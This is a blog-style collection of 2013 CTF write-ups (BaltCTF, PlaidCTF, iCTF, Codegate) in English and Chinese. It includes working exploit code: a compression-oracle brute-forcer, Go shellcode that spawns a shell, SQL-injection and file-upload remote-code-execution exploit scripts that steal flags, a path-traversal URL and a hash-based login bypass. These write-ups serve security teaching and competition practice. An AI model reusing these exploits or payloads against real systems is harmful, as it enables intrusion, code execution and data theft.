binary500 is .net reserve.
Continue reading
BaltCTF 2013 crypto 100
this task is described as below:
USS ENTERPRISE [100]
crypto
Hello we intercepted strange message. Decode it.
pySpIl. wmqDp oDl! nQSamn lIjngychoIl tDt nDn'Do
Hint. They use primitive cryptosystem.
after some time we get hint:”Veni, Vidi, Vici”
Continue reading
PlaidCTF 2013 Crypto compression(250) writeup
We managed to get the source code for an encryption service running at
54.234.224.216 :4433 OK
#!/usr/bin/python
import os
import struct
import SocketServer
import zlib
from Crypto.Cipher import AES
from Crypto.Util import Counter
# Not the real keys!
ENCRYPT_KEY = '0000000000000000000000000000000000000000000000000000000000000000'.decode('hex')
# Determine this key.
# Character set: lowercase letters and underscore
PROBLEM_KEY = 'XXXXXXXXXXXXXXXXXXXX'
def encrypt(data, ctr):
aes = AES.new(ENCRYPT_KEY, AES.MODE_CTR, counter=ctr)
return aes.encrypt(zlib.compress(data))
class ProblemHandler(SocketServer.StreamRequestHandler):
def handle(self):
nonce = os.urandom(8)
self.wfile.write(nonce)
ctr = Counter.new(64, prefix=nonce)
while True:
data = self.rfile.read(4)
if not data:
break
try:
length = struct.unpack('I', data)[0]
if length > (1< CTR非常依赖Counter的唯一性。这是因为,如果你重用一个Counter,那么对两个密文分组的异或就将是相应的明文分组的异或。
由于zlib压缩第一个字节的明文也能猜到,于是考虑加密上是否有漏洞,但检查后方发现使用没有问题。
后经@zhugejw老师提醒此题名为compression开始重点关注zlib,看了lz77算法发现长度大于3Byte的重复串会被压缩,结合CTR流密码可以知道zlib压缩后的数据长度,找到解题方向:跟加密无关,通过构造数据根据返回的长度,猜解PROBLEM_KEY。如果发送的串与KEY有3位以上相同就会被压缩,于是先写了个脚本爆破4位,然后按位猜解。
import socket,struct
skt=socket.socket()
skt.connect(("54.234.224.216",4433))
nonce= skt.recv(8)
print repr(nonce)
fi = open('pyj.txt', 'a')
data = list("ABCDEFGHIJKLMNOPQRST")
for f1 in 'abcdefghijklmnopqrstuvwxyz_':
for f2 in 'abcdefghijklmnopqrstuvwxyz_':
for f3 in 'abcdefghijklmnopqrstuvwxyz_':
for f4 in 'abcdefghijklmnopqrstuvwxyz_':
try:
data[0] = f1[0]
data[1] = f2[0]
data[2] = f3[0]
data[3] = f4[0]
sd=''.join(data)
print sd
skt.send(struct.pack('I',len(sd)))
skt.send(sd)
ciphertextlen= struct.unpack('I',skt.recv(4))[0]
ciphertext = skt.recv(ciphertextlen)
if ciphertextlen >fi, ciphertextlen, repr(ciphertext)
fi.flush()
except:
print 'except'
skt.close()
skt.connect(("54.234.224.216",4433))
skt.close()
fi.close()
测试时发现即使不发送数据返回的长度也比20个Byte全不同的KEY小,于是可以判断KEY中本身就有重复
暴力跑出了
> ime ays cri e_s so met me
等串
以此为基准按位猜解跑出 crimes_pays ,但由于key本身含有重复,会影响按位猜解,于是卡住了,最终由@Slipper大神人肉猜解出KEY:
crime_sometimes_pays
ps:其实对于lz77还是不太明白,个人理解4Byte的数据压缩为3Byte才会导致长度减小,爆破时不知道为什么有3Byte重复就长度减小了,请大牛们指点
PlaidCTF 2013 bunyans_revenge writeup
Overview
The task is to get a shell on a sandboxed Go site, with help of a patch .Snippet below shows main part of the patch:
diff -r a7414a294dcb src/cmd/6g/cgen.c
--- a/src/cmd/6g/cgen.c Fri Apr 19 12:00:40 2013 -0700
+++ b/src/cmd/6g/cgen.c Fri Apr 19 21:03:47 2013 +0000
@@ -888,18 +888,18 @@
case ODOTPTR:
cgen(nl, res);
+ // explicit check for nil if struct is large enough
+ // that we might derive too big a pointer.
+ if(nl->type->type->width >= unmappedzero) {
+ regalloc(&n1, types[tptr], res);
+ gmove(res, &n1);
+ n1.op = OINDREG;
+ n1.type = types[TUINT8];
+ n1.xoffset = 0;
+ gins(ATESTB, nodintconst(0), &n1);
+ regfree(&n1);
+ }
if(n->xoffset != 0) {
- // explicit check for nil if struct is large enough
- // that we might derive too big a pointer.
- if(nl->type->type->width >= unmappedzero) {
- regalloc(&n1, types[tptr], res);
- gmove(res, &n1);
- n1.op = OINDREG;
- n1.type = types[TUINT8];
- n1.xoffset = 0;
- gins(ATESTB, nodintconst(0), &n1);
- regfree(&n1);
- }
ginscon(optoas(OADD, types[tptr]), n->xoffset, res);
}
break;
It seems that he try to enforce the check related to nil, big struct, and pointer. This tell us that before patching we should be able to derive “too big a pointer” with help of nil and a large struct.
Unsafe pointer
After some reading of the source code, we knew more about which type of code related to the patch.
// src/cmd/gc/go.h, 478L
ODOT, // t.x
ODOTPTR, // p.x that is implicitly (*p).x
ODOTMETH, // t.Method
// src/cmd/6g/gsubr.c, 37L
// TODO(rsc): Can make this bigger if we move
// the text segment up higher in 6l for all GOOS.
vlong unmappedzero = 4096;
And we wrote snippets of code, which does fall in the old check, or bypass it (explicitly call the pointer)
type T struct {
offset [4096]byte
x int
}
// fail:(
var t *T
x := &(t.x)
*x = 0
// ** panic msg while running **
panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xb code=0x1 addr=0x0 pc=0x400c19]
// pass:)
var t *T
x := &((*t).x)
*x = 0
// ** panic msg while running **
unexpected fault address 0x1000
throw: fault
[signal 0xb code=0x1 addr=0x1000 pc=0x400c1c]
Changing code flow
The sandbox doesn’t allow us to import packages containing unsafe parts, which make the compiler not compile in any unsafe runtime code, so we need to prepare the shellcode ourselves. Soon we found that function type in Go, like function pointer in C may help us. Due to NX bits, we need to put shellcode in executable areas. Using const string seems to be a good idea. Finally we worked out a piece of code running flawless in the local environment:
package main
type T struct {
// magic numbers are from objdump:(
offset [0x4283f8]byte
x int64
}
type Func func(string)
var f Func
// execve('/bin/sh', ['/bin/sh'], NULL)
const shellcode = "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08" +
"\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"
func main() {
var t *T
x := &((*t).x)
*x = 0x417c5c
// avoiding unused const optimized out, not a real argument
f(shellcode)
}
However it didn’t work on the site. First the memory layout seems not to be like that in our local environment, but we could pass it by fixing the offset in struct(we can “read” it from .text section online). Though calling shellcode fails still.
We noticed that panic message from the site differs from ours, which contains a file named “panic.c” not existing in our source code. It seems that they were using a different branch of Go. After searching we found this repo seems to fit theirs code well.
goroutine 1 [running]:
[fp=0x7f8bbd3bbf60] runtime.throw(0x4420d7)
/home/bunyansrevenge/go/src/pkg/runtime/panic.c:473 +0x67
[fp=0x7f8bbd3bbf78] runtime.sigpanic()
/home/bunyansrevenge/go/src/pkg/runtime/os_linux.c:239 +0xe7
[fp=0x7f8bbd3bbf90] main.main()
/tmp/go-sandbox728098232/prog.go:18 +0x20
Comparing binary compiled by these 2 branches, we saw the difference on handling function calling: modern ones just jump to the address stored in the memory, but the other storing the address in another location, and storing that address in the memory. See the disassembly for details:
# modern ones 400c37: 48 8b 1c 25 f8 83 42 mov 0x4283f8,%rbx 400c3e: 00 400c3f: ff d3 callq *%rbx # the other 400c3d: 48 8b 14 25 10 41 44 mov 0x444110,%rdx 400c44: 00 400c45: 48 8b 1a mov (%rdx),%rbx 400c48: ff d3 callq *%rbx
So we need to change the code fitting compiler running on the site. At last it works. The complete piece of code for capturing the flag goes below:
package main
type T struct {
offset [0x444110]byte
x *int64
}
type Func func(string)
var f Func
// execve('/usr/bin/cat', ['/usr/bin/cat', 'flag'], NULL)
const shellcode = "\x48\x31\xd2\x48\xc7\xc1\x66\x6c\x61\x67\x51\x48\x89\xe1" +
"\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x63\x61\x74\x53\x48\x89\xe7\x48\x31\xc0\x50" +
"\x51\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"
func main() {
var _x int64
_x = 0x42f5b0
var t *T
x := &((*t).x)
*x = &_x
// avoiding unused const optimized out, not a real argument
f(shellcode)
}
The flag is nx_was_a_good_idea_after_all.
PlaidCTF 2013 Crypto100 crypto writeup
PlaidCTF2013 Crypto100 crypto
One of us devised a new cryptosystem! Can you break it?
client.py running at 54.234.77.50:13797 or 54.235.50.140:13797.
import random
import math
# bleh, figuring out how to decrypt stuff is hard...
# good thing there's a service running at 54.234.245.15 port 13797
ciphertext = (19139950631257094109974817512950844945236146526899325826152393111265339856332117664760030665587057736341341088217L, 698145134021698598302443232564752607941576857199606106641450906890460571956580687935633542046758257396595842622837937744732920113344374182219623260691576508226597259307160898152603847317630021751538L, 375)
pubkey = 914036124605072095896498645040317110444677693681625101303036515307269256964695517984683462742136579499746530214988587637694496516580350919995355407744891125814950650516684386468562425056693756001673L
def numbits(k):
if k == 1:
return 1
return int(math.ceil(math.log(k,2))) + (1 if k % 2 == 0 else 0)
def strtoint(s):
if len(s) == 0:
return 0
if len(s) == 1:
return ord(s[0])
return (ord(s[0]) <> 8) + c
def encrypt(m, N):
L = numbits(m)
random.seed()
r = random.randint(2, N-1)
x = pow(r, 2, N)
y = x
l = 0
for k in range(0, L):
l = l * 2 #这里本来是左移,但是小于号会把后面的代码吃掉
l |= y & 1
y = pow(y, 2, N)
return (m ^ l, y, L)
加密的过程大致如下:
生成随机数y,取y的二进制表示的最后一位。
然后令y = y*y % N,不停的迭代下去。最后得到由y%1构成的一个串,长度为L,表示成数字就是l。
最后返回密文m^l, 最后一次迭代得到的r和整个串的长度L。
如果考虑直接解密,因为不知道密钥,只能尝试将r开方。
当N是质数时,开方至少会得到两个解。而N是两个模4余3的质数之积时,开方会有四个解。
二进制串的长度L是375,这说明要解密375次才能得到l,枚举所有情况是不可能的。
在没有私钥的情况下是不可解的。
题目提示利用解密程序求解。
但是直接将密文提交给服务器,服务器不会解密这个密文。
slipper@bt:~/CTF/PlaidCTF2013/crypto/crypto$ telnet 54.234.245.15 13797
Trying 54.234.245.15…
Connected to 54.234.245.15.
Escape character is ‘^]’.
Send 1 to encrypt, 2 to decrypt, 3 to get pubkey: 2
c: 15837612793129403265283574183712049320456923458239472034932056385412838712039129134628735129381029461924618321283
y:9814513402169859830244323256475260794157685719960610664145090689046057195658068793563354204675825739659584262283793774432920113344374182219623260691576508226597259307160898152603847317630021751538
L: 375
… Nice try…
尝试之后发现解密程序至判断y是否是698145134021698598302443232564752607941576857199606106641450906890460571956580687935633542046758257396595842622837937744732920113344374182219623260691576508226597259307160898152603847317630021751538。只要不是这个值都可以解密。
所以只需再进行一次迭代,便可以让解密程序按照我们的想法运行。
也就是
y = y*y % N = 842376507373989895999086264722582537123368770490346950741353843138436241343024669185370422253938355914800459068857695521295261389627915740380085077620094827672888542982036568692912342891435425038793
L = 375 + 1 = 376
再次提交
slipper@bt:~/CTF/PlaidCTF2013/crypto/crypto$ telnet 54.234.245.15 13797
Trying 54.234.245.15…
Connected to 54.234.245.15.
Escape character is ‘^]’.
Send 1 to encrypt, 2 to decrypt, 3 to get pubkey: 2
c: 0
y: 84237650737398989599908626472258253712336877049034695074135384313843624134302466918537042225393835591480045906885769552295261389627915740380085077620094827672888542982036568692912342891435425038793
L: 376
Here you go!
101686897114606056715237168431190820000470796857828910395983438187233021385241214426095996035820483704909967063880
因为解密的密文是0,所以返回的明文正是用y解密(开方)376次得到的l。
这个l是376位,比我们需要的l长了一位。
也就是说我们用来解密的l = l >> 1 = 50843448557303028357618584215595410000235398428914455197991719093616510692620607213047998017910241852454983531940
将其与m异或,得到45254887930239273167431232764821063317056202877996423494141119054532192953084223271331941921852046201353001849981
再用inttostr(),得到 “KEY{Cyprus_keylength(cm)_STILL_BEST_KEY_FORMAT}:”
iCTF 2013 traintrain writeup
Traintrain is a web system written in python.
There is a register/login page, where we can login using username/password from traintrain.ini. Then a solution page showed up, asks for a solution. Nothing special so far.
Under the service dir, there is a sqlite3 db file detected using file commmand. Open it and execute .dump, we can get the table and data, here is a snippet:
CREATE TABLE users (username text, password text, authorization text, session text, history text, score int, assignment text, solution text);
INSERT INTO users VALUES('johndoe','3858f62230ac3c915f300c664312c63f','ab6eff381fffea763a81b73',NULL,NULL,NULL,NULL,NULL);
INSERT INTO users VALUES('janedoe','96948aad3fcae80c08a35c9b5958cd89','ab56a388299ef6deab12552ccc1',NULL,NULL,NULL,NULL,NULL);
INSERT INTO users VALUES('aledivlew','fcccdf1344ad3078c2fbec2194996a08','FLGeFrCu4pF4ipCF','0d1444c3861cf373e36b24e6b5a5f785','/',NULL,NULL,NULL);
So the flag should be the authorization text of some users.
The source codes are not presented in the service dir. So we decompiled the python bytecode using uncompyle2. You can find the source code here.
The code is a bit complex. We read through the code thoroughly, even the generate and calculate logic. The basic idea is injection, but We come up with several ideas turned out to be useless, because the code is well protected. After some more review, we noticed that there is a function called history, and the history sql is the only one built by string concatenation rather than sqlite library protected construction. So we decided to do sql injection here.
query = "select username, score from users where history LIKE '%%%s%%' and not session='%s'" % (history, session)
The session variable is well checked and hard to inject, but we can control history variable, since the url path will be joined using ‘:’ as separator to form the history string, e.g. “/:/solution”.
Then we carefully construct a path:
%\’ or 1=1 union select username, authorization from users where 1=1 or \’:/solution%\’=\’
which will be urlencoded to
%25\’%20or%201%3D1%20union%20select%20username%2C%20authorization%20from%20users%20where%201%3D1%20or%20\’%3A%2Fsolution%25\’%3D\’
Register a user and login to get a session, hit this urlpath, then it will be stored as the history string. After that, we hit “/solution” again to trigger the injected sql, and the flag string will be returned in html. So just parse out the flag and return!
Here is the exploit code:
class Exploit():
def tt(self, ip, port, flag_id):
import httplib, time, urllib, random
conn = httplib.HTTPConnection(ip, port)
uu = random.choice('asfaasdf') + random.choice('asfaasdf') + random.choice('asfaasdf') + random.choice('asfaasdf')
params = urllib.urlencode({'username': uu, 'password': uu, 'authorization': uu})
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn.request("POST", "/register", params, headers)
response = conn.getresponse()
header = response.getheaders()
data = response.read()
conn.close()
conn = httplib.HTTPConnection(ip, port)
conn.request('POST', "/login", urllib.urlencode({'username': uu, 'password': uu}), headers)
response = conn.getresponse()
header = response.getheaders()
data = response.read()
for k, v in header:
if k.lower() == 'set-cookie':
cookie = v
#print cookie
conn.close()
#print '--python cookie', cookie
sql = "%25\'%20or%201%3D1%20union%20select%20username%2C%20authorization%20from%20users%20where%201%3D1%20or%20\'%3A%2Fsolution%25\'%3D\'"
headers['cookie'] = cookie
conn = httplib.HTTPConnection(ip, port)
conn.request('POST', "/" + sql, urllib.urlencode({'username': uu, 'password': uu}), headers)
response = conn.getresponse()
header = response.getheaders()
data = response.read()
conn.close()
#print '--insert', len(data), data
conn = httplib.HTTPConnection(ip, port)
conn.request('POST', "/solution", urllib.urlencode({'solution': '1', 'assignment': '2'}), headers)
response = conn.getresponse()
header = response.getheaders()
data = response.read()
#print '--result', len(data), data
conn.close()
import re
mat = re.findall('<tr><td>(.*?)</td>.*?<td>(.*?)</td></tr>', data)
flag = ''
#print mat
for item in mat:
if item[1].startswith('FLG'):
flag = item[1]
if item[0] == flag_id and item[1] != 'None':
return item[1]
return flag
def execute(self, ip, port, flag_id):
# Put your awesomeness here. You are free to import/use whatever
# standard Python library you want.
# Your exploit gets as parameters the IP/PORT of the service to
# attack. The IP is a string, the PORT is an integer.
# For some services, the "flag_id" parameter will be provided:
# sometimes, this is needed to specify which flag you need to
# steal (in case there are many on the server). If you feel you
# don't need to use the "flag_id" parameter, just ignore it.
# Still, your execute() method will always receive the "flag_id"
# parameter.
self.flag = self.tt(ip, port, flag_id);
def result(self):
return {'FLAG' : self.flag }
Have known above, we can easily fix the exploit by replace the string concatenation of the sql by sqlite library construction.
Many thanks to Chao Liu who showed expert level hacking skills working with me on this problem.
iCTF 2013 curiosityblogging writeup
This is a web blogging system written using nodejs.
After some play and test, We find out that, it’s a blog posting system, people can read posts and upload posts.
Then We carefully read through its core logic code. The code reveals that there is a “store” interface for iCTF servers to push flags to the system. And the there is a dir called “flags”, so our goal is to hack the web and capture the flags from the “flags” directory.
Reviewing the code, we know that, when users create a post, the blogging system will first store its content in a plain text file, then store a metadata file using “.metadata” as extended filename. And the metadata file only contains the length of the post surrounded by brackets, such as “[36]“.
Soon after that, we noted that, in “metadata.js”, it exports a function called checkfile, which do metafile checking by execute the metadata file as javascript in a new context. Haha, it’s time for us to show our RCE skills!
The solution is straightforward now. First we upload a random post to the server, say “abc”. At this time, the server will write abc and abc.metadata in the posts dir. Then we can upload a file using abc.metadata as the name, so the real metadata of the abc will be overwritten. The content of the newly uploaded abc.metadata is some javascript code, which will read file content from flags dir and store them in posts dir, say, stored as flag and flag.metadata.
After all of above prepared, we just fire a hit to get post for abc, it will cause the abc.metadata executed, so our javascript code will store the flag in posts dir, then we can visit that post to get the flag.
Here is the complete code for this exploit:
class Exploit():
def exploit_curiosity_blogging(self, ip, port, flag_id):
import httplib, time
conn = httplib.HTTPConnection(ip, port)
chunk = 'xxx' * 10
headers = {}
conn.request("POST", "/upload?name=___", chunk, headers)
conn.getresponse().read()
js = " var fs = require('fs'); var content = fs.readFileSync('flags/"
+ flag_id
+ "'); fs.writeFileSync('posts/zzz', content); fs.writeFileSync('posts/zzz.metadata', '[' + content.length + ']'); "
conn = httplib.HTTPConnection(ip, port)
conn.request("POST", "/upload?name=___.metadata", js, headers)
conn.getresponse().read()
conn = httplib.HTTPConnection(ip, port)
conn.request("GET", "/read?id=___")
response = conn.getresponse()
s = response.read()
conn = httplib.HTTPConnection(ip, port)
conn.request("GET", "/read?id=zzz")
response = conn.getresponse()
s = response.read()
index = s.find('<p>')
index2 = s.find('</p>')
s = s[index + 3: index2].strip()
ary = s.split('\n')
if len(ary) > 1:
return ary[1]
else:
return ''
def execute(self, ip, port, flag_id):
self.flag = self.exploit_curiosity_blogging(ip, port, flag_id);
def result(self):
return {'FLAG' : self.flag }
Knowing the exploit, it’s easy now to fix. The best way is to modify the checkfile function in metadata.js to remove the RCE problem. Actually we fix this problem by disable uploading of posts end with “.metadata”, in this way we only need to modify one line, but may be less secure.
Many thanks to Chao Liu who showed expert level hacking skills working with me, he inspired me with ideas, and helped me write the exploit code.
Codegate Preliminary 2013 Binary 100 Writeup
We got 8938765cdf97403089c008e4d4b63d52.exe, which is a .Net program. It asks for a series of numbers, and we could reasonably guess that the flag will be shown if we input the correct key.
By using Reflector, we found that this assembly is obfuscated. But the good news is that only a few portion is obfuscated. Looking around the disassembled code, we found something interesting:
public void TransFormable(string Data)
{
if (Data.Length == 0x10)
{
if (this.xorToString(AESCrypt.Encrypt(this.r.Text, KeyValue)) == this.lowkey)
{
MessageBox.Show(AESCrypt.Decrypt(this.StringToXOR(this.a.ByteTostring_t(this.c)), KeyValue));
}
else
{
MessageBox.Show("Do you know ? " + AESCrypt.Decrypt(this.StringToXOR(this.a.ByteTostring_t(this.d)), KeyValue));
}
}
}
Knowing that this.r is the TextBox, the logic of this part of code could be: checking if the encryption result of our input equals to this.lowkey. If they are equal, this.c will be decrypted and prompted (that should be the flag!). Alright, then let’s try decrypting this.c. Create a new .Net project in Visual Studio, copy necessary data and methods to that project and decrypt that array. Luckily, we got the flag: code9ate2013 Start.
Codegate2013 web500 writeup
Web500
yuzeming@gmail.com
网站修改user-agant后才可以查看。
在网页源代码中发现一个加密的javascript(连接)
这个文件可以使用Chrome 的调试功能进行解密。
解密后发现当我们需要访问某个页面都会通过这个JS中的load_page()函数进行加载。
function load_page(p){
var page = "home.html";
switch (p) {
case 1 : page="home.html"; break;
case 2 : page="introduce.html"; break;
case 3 : page="get_tag.html"; break;
}
window.location.href="index.php?p="+page+"&s="+calcSHA1(page+"Ace in the Hole");
}
猜想index.php中有一个读取文件的函数,当参数p与s相对应。php就会把这个文件读取出来。
尝试读取一下index.php本身。读取出来的主要代码如下。
<?php
session_start();
$mobile_agent = '/(iPod|iPhone|Android|BlackBerry|SymbianOS|SCH-M\d+|Opera Mini|Windows CE|Nokia|SonyEricsson|webOS|PalmOS)/';
if(!preg_match($mobile_agent, $_SERVER['HTTP_USER_AGENT'])) {
die('mobile only...');
}
if (!isset($_GET['p'])){ $page = "home.html"; $sum = sha1($page."Ace in the Hole"); }else{ $page = $_GET['p']; $sum = $_GET['s'];}
function load_page($page, $sum){
if ($sum != sha1($page."Ace in the Hole")) {
$page = "home.html";
}
return file_get_contents("./".$page);
}
?>
<?php echo load_page($page, $sum); ?>
的确可以读取任意文件,再尝试读取simulator.php
<?php
session_start();
if (!isset($_SESSION['scrap']) && !isset($_POST['name'])) die("scrap name is empty..");
if ($_POST['name'] == "GM") die("you can not view&save with 'GM'");
if (isset($_POST['name'])) $_SESSION['scrap']=$_POST['name'];
$db = sqlite_open("/var/game_db/gamesim_".$_SESSION['scrap'].".db");
$row = sqlite_fetch_array(sqlite_query($db,"select 1 from sqlite_master"));
if (isset($row[0])) {
$row = sqlite_fetch_array(sqlite_query($db,"select * from status left join memo on status.time = memo.time order by status.time desc limit 1;"));
}
?>
<?php if (isset($row[0])) echo gzuncompress($row['memo.memo']); ?>
看到程序对GM的数据进行了保护。那么我们可以尝试绕过这个保护。
不需要执行注入,可以直接下载这个/var/game_db/gamesim_GM.db文件。尝试使用../来跳转。
最后通过这个连接,可以下载到这个数据文件
http://58.229.122.16:33445/site/index.php?p=../../../var/game_db/gamesim_GM.db&s=858497733a79dbc8bddd5f3f6b0fa8d0adf70049
这是一个Sqlite 2.1格式的数据库文件 。
使用Sqlite官网上的管理器打开就可以读取了。
注意读取出来的数据是经过压缩的。
Codegate2013 web100 writeup
Web100
yuzeming@gmail.com
一个登陆页面,需要以admin登录。
核心代码如下
<?php
$ps = mysql_real_escape_string($ps);
$ps = hash("whirlpool",$ps, true);
$result = mysql_query("select * from users where user_id='$id' and user_ps='$ps'");
?>
可以注意到hash函数的第三个参数为true,使得hash函数返回的是二进制串。任何字符都可能出现在字符串内。
如果'='出现在hash后的字符串内可能导致注入。
原理是当这个字符串带入查询后,查询串为where user_ps='XXXX'='YYY'。
- 第一步运算
user_ps='XXXX'得到一个int值。由于不相等应该等于0. - 第二步运算 int值与字符串比较,会把字符串转换为int,转换结果也等于0。
这绕过了密码检验。
可以使用admin/364383登录这个系统。